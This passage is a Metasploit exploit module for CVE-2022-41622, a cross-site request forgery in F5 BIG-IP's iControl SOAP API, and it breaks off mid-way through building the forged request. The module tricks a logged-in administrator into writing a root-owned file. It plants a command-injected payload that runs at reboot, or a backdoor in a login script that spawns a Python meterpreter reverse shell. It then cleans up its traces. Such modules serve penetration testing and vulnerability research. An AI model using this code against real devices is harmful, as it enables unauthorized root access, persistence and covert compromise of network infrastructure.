##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 BIG-IP iControl CSRF File Write SOAP API',
'Description' => %q{
This module exploits a cross-site request forgery (CSRF) vulnerability
in F5 Big-IP's iControl interface to write an arbitrary file to the
filesystem.
While any file can be written to any location as root, the
exploitability is limited by SELinux; the vast majority of writable
locations are unavailable. By default, we write to a script that
executes at reboot, which means the payload will execute the next time
the server boots.
An alternate target - Login - will add a backdoor that executes next
time a user logs in interactively. This overwrites a file,
but we restore it when we get a session
Note that because this is a CSRF vulnerability, it starts a web
server, but an authenticated administrator must visit the site, which
redirects them to the target.
},
'Author' => [
'Ron Bowes' # Discovery, PoC, and module
],
'References' => [
['CVE', '2022-41622'],
['URL', 'https://github.com/rbowes-r7/refreshing-soap-exploit'],
['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
['URL', 'https://support.f5.com/csp/article/K97843387'],
['URL', 'https://support.f5.com/csp/article/K94221585'],
['URL', 'https://support.f5.com/csp/article/K05403841'],
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2022-11-16', # Vendor advisory
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Type' => :unix_cmd,
'Privileged' => true,
'Targets' => [
[ 'Restart', {}, ],
[ 'Login', {}, ],
[ 'Custom', {}, ]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
ARTIFACTS_ON_DISK
]
}
)
)
register_options(
[
OptString.new('TARGET_HOST', [true, 'The IP or domain name of the target F5 device']),
OptString.new('TARGET_URI', [true, 'The URI of the SOAP API', '/iControl/iControlPortal.cgi']),
OptBool.new('TARGET_SSL', [true, 'Use SSL for the upstream connection?', true]),
OptString.new('FILENAME', [false, 'The file on the target to overwrite (for "custom" target) - note that SELinux prevents overwriting a great deal of useful files']),
]
)
end
def on_request_uri(socket, _request)
if datastore['TARGET'] == 0 # restart
filename = '/shared/f5_update_action'
file_payload = <<~EOT
UpdateAction
https://localhost/success`#{payload.encoded}`
https://localhost/error
0
0
0
0
EOT
# Delete the logfile if we get a session
register_file_for_cleanup('/var/log/f5_update_checker.out')
print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come approximately 2 minutes after the target is rebooted")
elsif datastore['TARGET'] == 1 # login
filename = '/var/run/config/timeout.sh'
file_payload = "#{payload.encoded} & disown;"
# Delete the backdoored file if we get a session.. this will be fixed at
# next reboot
register_file_for_cleanup('/var/run/config/timeout.sh')
print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come the next time a user logs in interactively")
else # Custom
filename = datastore['FILENAME']
file_payload = payload.encoded
print_status("Redirecting the admin to overwrite #{filename} with the payload")
end
# Build the SOAP request that'll be sent to the target server
csrf_payload = %(